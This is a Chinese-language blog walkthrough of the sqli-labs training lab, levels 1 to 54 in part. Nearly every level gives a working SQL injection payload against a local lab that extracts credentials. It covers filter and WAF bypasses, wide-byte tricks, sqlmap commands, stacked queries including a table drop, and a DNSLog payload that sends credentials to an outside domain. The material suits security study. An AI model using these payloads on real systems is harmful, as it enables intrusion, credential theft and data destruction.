sqli-labs通关笔记

发布于 2022-10-08  792 次阅读


1-20 关为基础挑战

Less-1(字符型)

image-20220930201805603
image-20220930213129732
请求方式注入类型拼接方式
GET报错注入、布尔盲注、延时盲注、联合注入id='$id'
  • 报错注入http://127.0.0.1/sqli-labs/Less-1/?id=-1' and extractvalue(1,concat(0x7e,(select concat('<br/>',username,0x7e,password) from users limit 0,1),0x7e)) -- qwe
  • 布尔盲注http://127.0.0.1/sqli-labs/Less-1/?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 -- qwe
  • 延时注入http://127.0.0.1/sqli-labs/Less-1/?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),1) -- qwe
  • 联合注入http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat('<br/>',username,'~',password) from users),3 -- qwe

Less-2(数字型)

image-20220930233355278
请求方式注入类型拼接方式
GET报错注入、布尔盲注、延时盲注、联合注入id=$id
  • 联合注入http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,(select group_concat('<br/>',username,'~',password) from users),3 -- qwe

Less-3

请求方式注入类型拼接方式
GET报错注入、布尔盲注、延时盲注、联合注入id=('$id')
  • 联合注入http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,(select group_concat('<br/>',username,'~',password) from users),3 -- qwe

Less-4

请求方式注入类型拼接方式
GET报错注入、布尔盲注、延时盲注、联合注入id=("$id")
  • 联合查询http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,(select group_concat('<br/>',username,'~',password) from users),3 -- qwe

Less-5

image-20220930235052160
请求方式注入类型拼接方式
GET布尔盲注、报错注入、延时盲注id='$id'
  • 报错注入http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat('<br/>',username,0x7e,password) from users limit 0,1)),1) -- qwe

Less-6

和上一关差不多

请求方式注入类型拼接方式
GET布尔盲注、报错注入、延时盲注id="$id"
  • 报错注入http://127.0.0.1/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select concat('<br/>',username,0x7e,password) from users limit 0,1)),1) -- qwe

Less-7

请求方式注入类型拼接方式
GET布尔盲注、报错注入、延时盲注id=(('$id'))
  • 报错注入http://127.0.0.1/sqli-labs/Less-7/?id=1')) and updatexml(1,concat(0x7e,(select concat('<br/>',username,0x7e,password) from users limit 0,1)),1) -- qwe
  • 利用outfile函数进行写入文件http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,(select group_concat(username,'~~~',password) from users),3 into outfile "E:/sql.txt" -- qwe

Less-8

请求方式注入类型拼接方式
GET布尔盲注、延时盲注id='$id'
  • 布尔盲注http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())=8 -- qwe

Less-9

请求方式注入类型拼接方式
GET延时盲注id='$id'

因为我尝试了常见的闭合方式,并未引起报错,说明后台并不会将错误回显到前端页面中,于是尝试延时注入

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(1=1,sleep(5),1) -- qwe

从这里知道闭合方式是 id='$id'

注入方式和上面的延时注入原理一致

  • 延时注入http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),1) -- qwe

Less-10

请求方式注入类型拼接方式
GET延时盲注id="$id"
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(1=1,sleep(5),1) -- qwe

测试出闭合方式为id="$id"

  • 延时注入http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),1) -- qwe

Less-11(POST)

image-20221001081722180
请求方式注入类型拼接方式
POST报错注入、布尔盲注、延时盲注、联合注入username= '$uname'

弱密码,直接登录成功

再试试万能密码

image-20221001082312726

发现是闭合方式为id='$id'

尝试万能密码' or '1' = '1

image-20221001082700811

登录成功

也可以通过用户名后添加注释符,进行绕过

image-20221001082950811

找到POST注入点进行注入,原理和get一样

uname=admin&passwd=1' order by 2 -- qwe&submit=Submit	#判断出有来两个字段

uname=admin&passwd=1' union select 1,2 -- qwe&submit=Submit #显示位为1,2

uname=admin&passwd=1' union select database(),2 -- qwe&submit=Submit #database为security

uname=admin&passwd=1' union select group_concat(table_name,0x7e),2 from information_schema.tables -- qwe&submit=Submit #爆出表名

uname=admin&passwd=1' union select group_concat(column_name,0x7e),2 from information_schema.columns where table_name='users' -- qwe&submit=Submit #字段名

uname=admin&passwd=1' union select group_concat(username,0x7e,password,0x7e),2 from users -- qwe&submit=Submit #爆出数据

使用sqlmap(sqlmap如何进行POST注入)

也可以使用sqlmap进行自动注入

使用burp抓包,将数据包存放到post.txt中 ,sqlmap -r post.txt

image-20221001090439175

也可以使用--data参数进行注入

 sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/" --data="uname=admin&passwd=123&submit=Submit"

使用参数--technique指定注入的方式

B:Boolean-based blind(布尔型注入)

E:Error-based(报错型注入)

U:Union query-based(可联合查询注入)

S:Stacked queries(可多语句查询注入)

T:Time-based blind(基于时间延迟注入)

Q:Inline queries(嵌套查询注入)

Less-12

请求方式注入类型拼接方式
POST报错注入、布尔盲注、延时盲注、联合注入username=("$uname")

Less-13

请求方式注入类型拼接方式
POST布尔盲注、报错注入、延时盲注username=('$uname')

Less-14

请求方式注入类型拼接方式
POST布尔盲注、报错注入、延时盲注username="$uname"

Less-15

请求方式注入类型拼接方式
POST布尔盲注、延时盲注username='$uname'
uname=admin' and if(1=1,sleep(5),1) -- qwe&passwd=admin&submit=Submit	#测试出闭合方式为id='$id'
image-20221001120415297

注入原理仍相同

Less-16

请求方式注入类型拼接方式
POST布尔盲注、延时盲注username=("$uname")

Less-17

请求方式注入类型拼接方式
POST布尔盲注、报错注入、延时盲注password = '$passwd'

第十七关是对密码进行重置,分析源码,发现先通过uname参数进行账户查询,然后再根据passwd参数进行密码更新操作,但是因为$uname=check_input($con1, $_POST['uname']); $passwd=$_POST['passwd']; uname通过函数进行了过滤,所以只可以从passwd这里进行注入。

因为print_r(mysql_error()); 仍然都sql错误进行了回显,所以这里可以使用报错注入,当然也可以延时注入。

  • 报错注入uname=admin&passwd=123' and updatexml(1,(concat(0x7e,(select
    group_concat(username) from users limit 0,1))),1) -- qwe&submit=Submit

#这里我是这样注入的,发现报错了, You can't specify target table 'users' for update in FROM clause

不能在FROM子句中指定要更新的目标表“users”

这里可以通过对查询的结果再次用select进行查询,就不报错了

uname=admin&passwd=123' and updatexml(1,(concat(0x7e,(select 
group_concat(username) from (select username from users)a limit 0,1))),1) -- qwe&submit=Submit

Less-18

请求方式注入类型拼接方式
POST布尔盲注、延时盲注、延时注入VALUES ('$uagent')
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

在这里对UA头和IP保存到数据库中,进行了sql语句的拼接,但是在之前并未对$uagent$IP进行检查过滤,并且仍然在之后将sql报错信息进行输出print_r(mysqli_error($con1));

  • PHP中获取IP的变量$_SERVER['HTTP_CLIENT_IP'] 可以伪造
    $_SERVER['HTTP_X_FORWARDED_FOR'] 可以伪造
    $_SERVER['REMOTE_ADDR'] 不能伪造

由于本关正是使用的$_SERVER['REMOTE_ADDR']来获取IP地址,所以无法从$IP 进行注入

这里的注入点从$uagent进行注入

因为只有登录成功之后,才会执行insert语句将UA头保存到数据库中,所有需要先获取一个账号

这里使用admin,admin

image-20221001173149891

引号报错,闭合方式为单引号闭合

User-Agent: ',(select updatexml(1,concat(0x7e,database()),1)),1) -- qwe
User-Agent: ',(select updatexml(1,concat(0x7e,(select group_concat(password) from (select username,password from users)a)),1)),1) -- qwe

使用sqlmap(sqlmap如何进行UA头部注入)

sqlmap当 --level 大于等于 3,就会自动检测User-Agent头部信息,也会尝试referer头注入

或者使用--user-agent="data" 参数进行数据指定

sqlmap -u "http://127.0.0.1/sqli-labs/Less-18/" --data="uname=admin&passwd=admin&submit=Submit" --user-agent="*" --thread=10 --batch --flush-session

必须得加--data 参数,否则扫不出结果

Less-19

请求方式注入类型拼接方式
POST布尔盲注、延时盲注、延时注入VALUES ('$uagent')

和第十八关是一样的,$uagent = $_SERVER['HTTP_REFERER']; 这里的注入点是referer头

',(select updatexml(1,concat(0x7e,(select group_concat(password) from (select username,password from users)a)),1))) -- qwe 

Less-20

请求方式注入类型拼接方式
POST延时盲注username='$cookee'

使用工具EditThisCookie工具对cookie值进行修改

分析源码中,

// 在登录成功之后,访问页面

if(!isset($_POST['submit'])) // 如果post提交了submit的值
{

$cookee = $_COOKIE['uname']; // 就会从cookie中获取uname的值
.
.
.
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; // 并在后面对获取的cookie拼接到查询语句中,然而没有做必要的过滤。
}

在这里,可以知道,对cookie中的uname的值进行注入

image-20221002180752798

尝试引出报错信息

image-20221002180735080

单引号引起报错,闭合方式为username='$cookie',那么和之前的注入方式一样

admin1' and extractvalue(1,concat(0x7e,(select group_concat(database()) from users),0x7e)) -- qwe

使用sqlmap(sqlmap如何进行cookie注入)

使用sqlmap,当--level的值大于等于2时,sqlmap会自动检测cookie

--tamper=base64encode 指定编码为base64

sqlmap -u http://127.0.0.1/sqli-labs/Less-20/ --cookie="uname=1"* --dbms=MySQL --threads=10 --batch --tamper=base64encode

21-37 关为高级注入

Less-21

请求方式注入类型拼接方式
POST布尔盲注、报错注入、时间盲注、联合注入username=('$cookee')
image-20221002200926281

本关还是Cookie注入,但是对cookie值进行了base64编码处理,

image-20221002195050505
-1') union select 1,2,(select  group_concat('<br>',username,0x7e,password) from users)#

LTEnKSB1bmlvbiBzZWxlY3QgMSwyLChzZWxlY3QgIGdyb3VwX2NvbmNhdCgnPGJyPicsdXNlcm5hbWUsMHg3ZSxwYXNzd29yZCkgZnJvbSB1c2Vycykj
sqlmap -u http://127.0.0.1/sqli-labs/Less-21/ --cookie="uname=1"* --dbms=MySQL --threads=10 --batch --tamper=base64encode

Less-22

请求方式注入类型拼接方式
POST布尔盲注、报错注入、时间盲注、联合注入username="$cookee"
1" union select 1,2,(select  group_concat('<br>',username,0x7e,password) from users)#

MSIgdW5pb24gc2VsZWN0IDEsMiwoc2VsZWN0ICBncm91cF9jb25jYXQoJzxicj4nLHVzZXJuYW1lLDB4N2UscGFzc3dvcmQpIGZyb20gdXNlcnMpIw==
sqlmap -u http://127.0.0.1/sqli-labs/Less-22/ --cookie="uname=1"* --dbms=MySQL --threads=10 --batch --tamper=base64encode

Less-23

请求方式注入类型拼接方式
GET联合注入、布尔盲注、报错注入、延时注入id='$id'
image-20221003220725299

再看一下sql语句

image-20221003222034592

还是正常的查询语句,这里我们可以在保证闭合id='$id'前面的引号后插入其他sql语句,并闭合掉后面的引号。

  • 可以使用联合查询http://127.0.0.1/sqli-labs/Less-23/?id=-2' union select 1,(select group_concat('<br>',username,0x7e,password) from users),3 and '1' = '1
  • 报错注入http://127.0.0.1/sqli-labs/Less-23/?id=-2' and updatexml(1,concat(0x7e,(select database())),1) and '1' = '1

Less-24(二次注入)

本关参考文档 大佬在这里!

首先打开关卡,是一个登录界面(index.php)

image-20221003223744317
image-20221003232015344

index.php页面中,会先检测是否设置了sessioncookie,有则跳转到logged-in.php

点击登录之后发送到login.php,在login.php页面进行从数据库查询账号密码的操作

function sqllogin($con1){

// mysqli_real_escape_string函数 转义字符串中的特殊字符:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = mysqli_real_escape_string($con1, $_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
// 如果查询到值,则不输出You tried to be real smart, Try harder!!!!
$res = mysqli_query($con1, $sql) or die('You tried to be real smart, Try harder!!!! :( ');
// 从结果集中取得行:
$row = mysqli_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}

$login = sqllogin($con1);
if (!$login== 0)
{
$_SESSION["username"] = $login;
setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */
header('Location: logged-in.php');
}

登录成功,保存session值,设置cookie,并发送到Logged-in.php,是一个可以提交修改密码表单的页面(Logged-in.php)

image-20221003231542646
image-20221003223812679
image-20221003231758339

Logged-in.php页面会检测,如果sessioncookie不同时存在,就会定位到index.php,再次进行登录。

提交修改密码表单,发送到pass_change.php,从数据库中执行更新Sql语句

image-20221003233528048

忘记密码页面

image-20221003223838858

注册用户界面(new._user.php)

image-20221003223845821

提交表单后由login_create.php页面处理,与数据库交互,执行insert语句

$sql = "insert into users (username, password) values(\"$username\", \"$pass\")";

这是本关的所有页面

image-20221003223659358

知识点简述(二次注入)

  • 什么是二次注入: 二次注入就是攻击者进行注入,恶意数据成功存储到数据库中,当再次引用数据库中的恶意数据时,导致注入成功。 攻击者第一次注入时可能经过对特殊字符转移后被保存到数据库,但是保存时又将被转义字符进行了恢复,从而导致恶意代码再次被调用时生效。
  • 如何进行二次注入
    • 插入恶意sql语句
    • 寻找可以引用已经存入数据库的恶意数据,达到注入目的
  • mysql 在向数据库插入数据时,会自动去除转义字符也就是反斜杠

如何操作

  • 首先注册一个 admin'# 用户,当提交表单时被转义成admin\'#,导致的第一次注入失败,但是mysql保存数据时会自动删除反斜杠, admin'#成功保存到数据库中
  • 登录 admin'#用户,SELECT * FROM users WHERE username='admin\'#' and password='admin';才是查询的admin'#用户。image-20221004003136135
  • admin'#用户进行密码修改,因为pass_change.php是直接从session中获取的username,而这个username是从数据库中获取的值,并未进行转义,当对 admin'#修改密码是,实际上执行的sql是这个UPDATE users SET PASSWORD='123456' where username='admin'#' and password='admin\'#',密码判断这里被注释掉了,因此修改的是admin的密码。
  • image-20221004005621281

Less-25(过滤OR & AND)

请求方式注入类型拼接方式
GET联合注入、报错注入、布尔盲注、延时盲注id='$id'

在源码里有个这样的函数

// 该函数对获取的id值进行了正则过滤,替换成了空字符串
function blacklist($id)
{
// 这里忽略了大小写,所以大小写绕过不了
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;
}

本关OR&AND被过滤了,如何进行绕过?

绕过姿势

  • 双写绕过既然会匹配id中的orand进行替换,但只替换一次,所以可以写两次,例如写成oorr,过滤之后就成了or联合注入http://127.0.0.1/sqli-labs/Less-25/?id=-1' union select 1,(select group_concat('<br>',username,0x7e,passwoorrd) from users),3 -- qwe
  • 运算符绕过
    • or -> ||
    • and -> &&
    报错注入http://127.0.0.1/sqli-labs/Less-25/?id=1' || updatexml(1,concat(0x7e,(select group_concat(passwoorrd) from users)),1) -- qwe

Less-25a

请求方式注入类型拼接方式
GET联合注入、报错注入、布尔盲注、延时盲注id=$id

和Less-25关一样的,or和and被过滤,只是本关是数字型注入

Less-26

请求方式注入类型拼接方式
GET联合注入、报错注入、布尔盲注、延时盲注id='$id'
image-20221004140652092

分析

这一关对id的过滤进行了增强,将orand/*--#spaces/\ 都替换成空

绕过姿势

但还是只进行一次过滤,所以对于or 和 and 还是可以双写绕过

连接符or使用||替换

and使用&& 代替,不行的话使用编码形式%26%26

对于注释符,可以采用闭合绕过,也可以使用;%00绕过

对于空格被过滤,可以采用符号替换(URL编码)(因为在windows环境下,apache解析不太好,编码问题导致空格不能被替换)

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格
  • 报错注入,因为报错注入可以少考虑空格问题http://127.0.0.1/sqli-labs/Less-26/?id=1'||updatexml(1,concat(1,(select (group_concat('<br>',username,0x7e,passwoorrd)) from (users) )) ,1) || '1'='1

Less-26a

请求方式注入类型拼接方式
GET联合注入、布尔盲注、延时盲注id=('$id')

这一关和上一关是差不多的,只是闭合方式变了一下,并且页面不会输出sql的错误信息

这里讲一下如何判断的闭合方式

image-20221004164043455

注入单引号测试,一个单引号回显异常,注入两个单引号回显正常

image-20221004164314770

此时的sql语句是:SELECT * FROM users WHERE id=('''') LIMIT 0,1 (我们不知道)

进一步注入括号观察回显状态

image-20221004164529910

闭合了前后括号回显也正常,说明闭合方式为id=('$id')

此时的sql语句是:SELECT * FROM users WHERE id=('') || ('') LIMIT 0,1

Less-27

请求方式注入类型拼接方式
GET联合注入、报错注入、布尔盲注、延时盲注id='$id'
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}

这一关注释掉了更多的字符,select,Select,SELECT,union,Union,UNION等等。。。但是还是没有全部忽略大小写,因此可以大小写混写绕过。

  • 联合注入http://192.168.80.128/Less-27/?id=1111' %a0 uniOn %a0 %a0 sElect %a0 1,(selEct %a0 group_concat(password) %a0 from %a0 users),3 ;%00
  • 报错注入http://192.168.80.128/Less-27/?id=?id=1'||updatexml(1,concat(1,(seLect (group_concat('<br>',username,0x7e,password)) from (users) )) ,1) || '1'='1

Less-27a

请求方式注入类型拼接方式
GET联合注入、布尔盲注、延时盲注id="$id"

相比于上关,拼接方式修改为双引号。

Less-28

请求方式注入类型拼接方式
GET联合注入、布尔盲注、延时盲注id=('$id')

28关并没有将sql的错误信息回显到页面

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}

并且这一关将注释进行了过滤,以及

  • 联合查询http://192.168.80.128/Less-28/?id=111') union %a0 select %a0 1,(select %a0 group_concat(username,password) %a0 from %a0 users ),3 %a0 || ('1')=('1

Less-28a

请求方式注入类型拼接方式
GET联合注入、布尔盲注、延时盲注id=('$id')

Less-29(绕过WAF)

请求方式注入类型拼接方式
GET联合注入、报错注入、布尔盲注、延时盲注id='$id'
http://192.168.80.128/Less-29/?id=111'                union select 1,(select group_concat(username,password) from users),3                     ;%00

这样好像并没有什么WAF呀???

看看源文件

image-20221005101707757
image-20221005102025129
image-20221005102151111
image-20221005102548651

这里有个whitelist()函数,对id进行正则匹配,如果不是数字,就会重定向到hacked.php

发现应该是先访问login.php进行登录,然后会被WAF拦截到hacked.php页面吧

但是并没有发生跳转,原因是并没有js进行解析跳转,需要开启Tomcat服务进行解析。

这里是搭建29-31关环境的视频教程

image-20221005161711780

搭建完成是这样的页面(需要传递两个id参数,第一个id由Tomcat解析,第二个由Apache进行解析)

补充知识

服务器的两层架构
image-20221005162106240
访问流程

client 访问服务器, 能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。

image-20221005221902286

这个是大多服务器对参数解析的介绍。

在这样的两层服务器的情况,往往Tomcat服务器做数据的处理和过滤,类似于WAF,然而这两层服务器解析的参数不同,这样我们就可以进行绕过检测,这就是http参数污染(HPP)。

靶场操作过程

image-20221005221616318

加了单引号后,会重定向至hacked.jsp, 也就是被WAF防御了

但是其实Apache是解析的第二个参数,而apache并没有对第二个参数进行过滤。

这里还是用联合注入

?id=1&id=-1' union select 1,(select group_concat('<br/>',username,'~',password) from users),3  -- qwe

Less-30

请求方式注入类型拼接方式
GET联合注入、布尔盲注、延时盲注id="$id"

和29关是一样做法,只是拼接方式改变了,并且这一关因为没有将sql错误信息进行输出,所以不可以使用报错注入。

?id=1&id=-1" union select 1,(select group_concat('<br/>',username,'~',password) from users),3  -- qwe

Less-31

请求方式注入类型拼接方式
GET联合注入、报错注入、布尔盲注、延时盲注id=("$id")

仍然是拼接方式改变

?id=1&id=-1") union select 1,(select group_concat('<br/>',username,'~',password) from users),3  -- qwe

Less-32(32,33,34,35,36,37都是宽字节注入)

请求方式注入类型拼接方式
GET联合注入、报错注入、布尔盲注、延时盲注id='$id'

知识点学习(宽字节注入)

首先先了解一下UTF-8 和 GBK 的区别
  • UTF-8 是一种国际化的编码方式,包含了世界上大部分的语种文字(简体中文字、繁体中文字、英文、日文、韩文等语言),也兼容 ASCII 码。
  • GBK 是在国家标准 GB2312 基础上扩容后兼容 GB2312 的标准(好像还不是国家标准),专门用来解决中文编码的,是双字节的,不论中英文都是双字节的。
  • 占用字节区别中文英文UTF-813GBK22
宽字节注入的原理

mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字

当我们的单引号被过滤,\',我们想把\除掉,有两种方法

  • 吃掉\因为\' url编码为%5c%27,我们可以在%25之前添加一个ascii码大于128的字符url编码后的值,这样mysql回会将我们添加的字符和\认为是一个汉字,被解析,这样'就被逃出来了。这里附上一个Ascii码表的网址,here~
  • \ 过滤掉例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c 给注释掉。这也是 bypass 的一种方法。

payload(采用第一种基于宽字节的注入方式)

  • 联合查询http://127.0.0.1/sqli-labs/Less-32/?id=1111%df' union select 1,(select group_concat(username,0x7e,password) from users ),3 -- qwe
  • 报错注入http://127.0.0.1/sqli-labs/Less-32/?id=1111%df' || updatexml(1,concat(0x7e,(select group_concat(password) from users)),3) -- qwe

Less-33

请求方式注入类型拼接方式
POST联合注入、报错注入、布尔盲注、延时盲注id=("$id")

这一关采用的addslashes()函数进行字符串处理。

image-20221006101952926

payload是一样的

?id=1111%df'  union select 1,(select group_concat(username,0x7e,password) from users ),3  -- qwe

注入天书中讲到:使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞。

Less-34

请求方式注入类型拼接方式
POST联合注入、报错注入、布尔盲注、延时盲注id='$id'

这一关是POST提交方式,查看源码可以知道,对unamepasswd都进行了addslashes()函数处理,加上了转义字符,其他与上一关没啥变化。

尝试万能密码

image-20221006103333050

这里应该是没啥问题的,但是怎么登录失败了!

image-20221006103356737

?这里的%df并没有和\解析成一个汉字。

抓包查看原因

image-20221006103447108

原来是又将我注入的%进行了一次编码,(%的URL编码就是%25)

直接从burp中进行传参

image-20221006103639552

登录成功!

上payload

uname=admin&passwd=123%df' union select 1,(select group_concat(username,0x7e,password) from users ) #&submit=Submit

另一种方法:将 utf-8 转换为 utf-16 或 utf-32,例如将 ‘ 转为 utf-16 为 � ' 。我们就

可以利用这个方式进行尝试。

Less-35

请求方式注入类型拼接方式
GET联合注入、报错注入、布尔盲注、延时盲注id=$id

这一关仍然是做了转义,但是拼接方式并没有单引号包裹,只要避免使用引号等,就可以避免转义

?id=1111 union select 1,(select group_concat(username,0x7e,password) from users ),3 -- qwe

Less-36

请求方式注入类型拼接方式
GET联合注入、报错注入、布尔盲注、延时盲注id='$id'

知识点学习

这里需要了解一下mysqli_real_escape_string()函数

image-20221006111445514

这一关就使用了这个函数,但是做法没啥区别,还是可以使用宽字节

?id=1111%df' union select 1,(select group_concat(username,0x7e,password) from users ),3 -- qwe

Less-37

请求方式注入类型拼接方式
POST联合注入、报错注入、布尔盲注、延时盲注id='$id'

和上一关只是提交方式修改成了POST

uname=admin%df' union select 1,(select group_concat(username,password) from users) #&passwd=&submit=Submit

38-53关 堆叠注入

知识点学习(堆叠注入)

原理 :
	我们知道,sql语句是由`;`结尾的,当mysql识别到`;`时,就知道这条语句结束了,如果我们在注入的时候将`;`传入,并在`;`加上我们想要执行的sql,就会让mysql当作下一条语句被执行。这就叫做堆叠注入(Stacked injections)

堆叠注入相比于联合查询就是可以执行任何sql语句。

堆叠注入的局限性:

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎

不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

虽然我们前面提到了堆叠查询可以执行任意的 sql 语句,但是这种注入方式并不是十分

的完美的。在我们的 web 系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第

二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。

因此,在读取数据时,我们建议使用 union(联合)注入。同时在使用堆叠注入之前,

我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

注意:Oracle数据库不可以堆叠注入。

Less-38

源码里执行SQL的函数变成了mysqli_multi_query()

mysqli_multi_query():可以执行一条SQL,也可以执行多条SQL,以分号分隔。

mysql_query() :只可以执行一条SQL

?id=1';insert into users (username,password) values ("ordshine","123456");

此时的SQL语句为

$sql="SELECT * FROM users WHERE id='1';insert into users (username,password) values ("ordshine","123456");' LIMIT 0,1";

image-20221006133210297

可见,插入数据成功!

知识点(DNSLog数据外带)

这里还有一篇文章讲了一下,可以看看

通过看国光的博客,本关使用的时DNSlog数据外带,这里浅浅讲一下。

借用DNSLog平台,可以将盲注巧妙的转化成回显的形式,但是DNSLog数据外带需要满足三个条件:

  • MySQL 开启 load_file () , 因为我们就是要借助load_file()函数发送请求
  • DNSLog平台(就是一个记录域名解析信息的平台)
  • Windows平台 ,在WIN环境下,load_file() 支持UNC路径

我们再尝试一下使用DNSlog数据外带的方式注入一下

http://127.0.0.1/sqli-labs/Less-38/?id=1';select load_file(concat('\\\\',(select hex(concat_ws(0x7e,username,password)) from users limit 0,1),'.qnkwf4.dnslog.cn\\123'));
image-20221006141955280

成功带出数据,这里对查询结果进行HEX加密是因为因为域名组成中有些特殊字符不允许使用,采用hex加密后再拼接,避免这种原因出现。

补充小知识

concat()concat_ws() 都是用于拼接字符串,但是前者使用时,如何其中的参数有任意一个为NULL,则返回结果也为NULL,后者则不会有这种情况。

Less-39

闭合方式不同

?id=1;create table sqli like users;   可以执行

Less-40

闭合方式不同

?id=1');drop table sqli;   可以执行
image-20221006145522300

源码还是24关的代码

Less-41

请求方式注入类型拼接方式
GET联合注入、报错注入、布尔盲注、延时盲注、堆叠注入id=$id

这关错误不回显,不能使用报错注入。但是注入方式一样。

Less-42

请求方式注入类型拼接方式
POST联合注入、报错注入、布尔盲注、延时盲注、堆叠注入password='$password'

这一关和24关的二次注入很像,我们来看看有什么页面。

image-20221006151039110

访问index.php 如果是登录状态重定向发送至logged-in.php,没有则需要登录发送表单至login.php

login.php,进行登录操作SELECT * FROM users WHERE username='$username' and password='$password'

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

登录失败会显示slap1.jpg这个图片

登陆成功到logged-in.php ,在获取passowrd并没有进行转义,并使用的是mysqli_multi_query,可以尝试堆叠。

logged-in.php 再判断如果没有提交cookie和username会重定向回index.php

这个页面是一个修改密码的表单,提交后给pass_change进行处理,进行更新操作

login_user=admin'&login_password=123' or 1=1# &mysubmit=Login

万能密码登录成功!

  • 联合注入login_user=admin'&login_password=123' union select 1,(select group_concat(password) from users),3# &mysubmit=Login

Less-43

请求方式注入类型拼接方式
POST联合注入、报错注入、布尔盲注、延时盲注、堆叠注入password=('$password')

拼接方式不一样

Less-44

请求方式注入类型拼接方式
POST联合注入、布尔盲注、延时盲注、堆叠注入username='$username'

Less-45

请求方式注入类型拼接方式
POST联合注入、布尔盲注、延时盲注、堆叠注入username=('$username')

Less-46

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注ORDER BY $idORDER BY $id

这一关注入点进行了改变,ORDER BY $id,SQL语句也进行了修改。

image-20221006174118459

注入点在 order by 后面的参数中,而 order by 不同于的我们在 where 后的注入点,不能使用 union 等进行注入。

首先如何进行验证

  • 升序降序验证,观察返回结果的排序是否变化?sort=1 asc
    ?sort=1 desc
  • rand () 验证?sort=rand(true)
    ?sort=rand(false)这两种的返回结果是不同的
  • 延时注入?sort=1 and if((database()='security'),sleep(5),1)
  • 报错注入这里咱们讲一下floorrand以及group by进行报错注入(参考)
    • 常用floor报错格式select count(*) from users group by concat(database(),floor(rand(0)*2));
      select count(*),concat(database(),floor(rand(0)*2))x from users group by x;
    floor:FLOOR() 函数返回小于或等于数字的最大整数值。rand:返回一个0-1的随机数,当给一个参数作为种子,就会生成重复的序列group by ,group by在执行时,会依次取出查询表中的记录并创建一个临时表,group by的对象便是该临时表的主键。如果临时表中已经存在该主键,则将值加1,如果不存在,则将该主键插入到临时表中,注意是插入!重点是因为一个最重要的特性,group by与rand()使用时,如果临时表中没有该主键,则在插入前rand()会再计算一次(也就是两次,但有些博客写的是多次,这个多次到底是几次并不知道,但是以两次来理解下面的实验都能说的通)。就是这个特性导致了主键重复并报错。缺点:当查询的表中只有一个数据就不能使用了http://127.0.0.1/sqli-labs/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

Less-47

拼接方式变化ORDER BY '$id'

Less-48

拼接方式变化ORDER BY $id,并少了报错注入

Less-49

拼接方式变化ORDER BY ''$id',并少了报错注入

Less-50

这一关相比于46关,多了堆叠注入的方式

Less-51

相比于上一关拼接方式改变,ORDER BY '$id'

Less-52

少了报错注入,拼接方式为ORDER BY $id

Less-53

少了报错注入的利用方式,ORDER BY ''$id'

54-65关

Less-54

请求方式注入类型拼接方式
GET联合查询、布尔盲注、延时注入id='$id'

这一关是让我们在十次查询机会以内找到设置的key值。

让我们来试一试,表名已经告诉我们。

image-20221007230547381
?id=1
?id=1' -- qwe
?id=1' order by 4 -- qwe
?id=1' order by 3 -- qwe
